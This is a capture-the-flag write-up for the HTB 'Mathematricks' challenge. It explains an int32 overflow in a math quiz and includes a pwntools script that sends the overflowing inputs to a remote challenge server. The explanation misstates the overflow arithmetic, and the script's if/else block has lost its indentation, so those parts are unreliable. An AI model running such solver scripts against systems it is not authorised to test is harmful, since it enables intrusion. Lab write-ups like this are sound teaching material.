Mathematricks HTB Challenege Writeup

Hello Guys this 0xcybersoldier toady will solve the Mathematricks which its a Very Easy Binary Exploitation Challenge from HTB Lets get started :)

after extract files from protected ZIP

,then after ready by strings

we can see the game code , so after see the full picture of game , it`s its Game of Math

see its Game of Math and for last question which its 4 there is integer overflow

, and which its int32 and for max int32 which its “2,147,483,647” so we need as formula Q4: Enter 2 numbers n1, n2 where n1 > 0 and n2 > 0 and n1 + n2 < 0 as information for int32 and its two number its total equal to "2,147,483,647" to two half and which itss its same number for n1 an n2 "1073741824" whyyyy ??? because when integer overflow it becomes singed number -2,147,483,647 which we success the condition for last question so 1073741824 + 1073741824 = 2,147,483,647 (maximum of int32) --> integer overflow ---> become s ----> -2,147,483,647 (signed) ------> we got flag ;)

i made an solver different from challenge files you can use it if you want

from pwn import *

import re



target_ip = input("Enter IP of Challenge:\n")

target_port = int(input("Enter port of Challenge:\n"))



print("Connecting to Target ....\n")

io = remote(target_ip, target_port)

print("Connected to Target :)\n")



print("Starting Exploit .......")



io.recvuntil(b'2. Rules')

io.sendline(b'1')

print("Selected Play\n")

print("Answering Q1: 1 + 1 = 2")

io.sendlineafter(b'> ', b'2')



print("Answering Q2: 2 - 1 = 1")

io.sendlineafter(b'> ', b'1')



print("Answering Q3: 1337 - 1337 = 0")

io.sendlineafter(b'> ', b'0')



print("Answering Q4: Integer Overflow")

io.sendlineafter(b'n1: ', b'1073741824')

io.sendlineafter(b'n2: ', b'1073741824')

output = io.recvall(timeout=5).decode(errors='ignore')

print(output)



flag = re.search(r'HTB\{[^}]+\}', output)

if flag:

print(f"\n[+] FLAG: {flag.group()}")

else:

print("[-] Flag not found in output")

see ya`ll in next writeups :)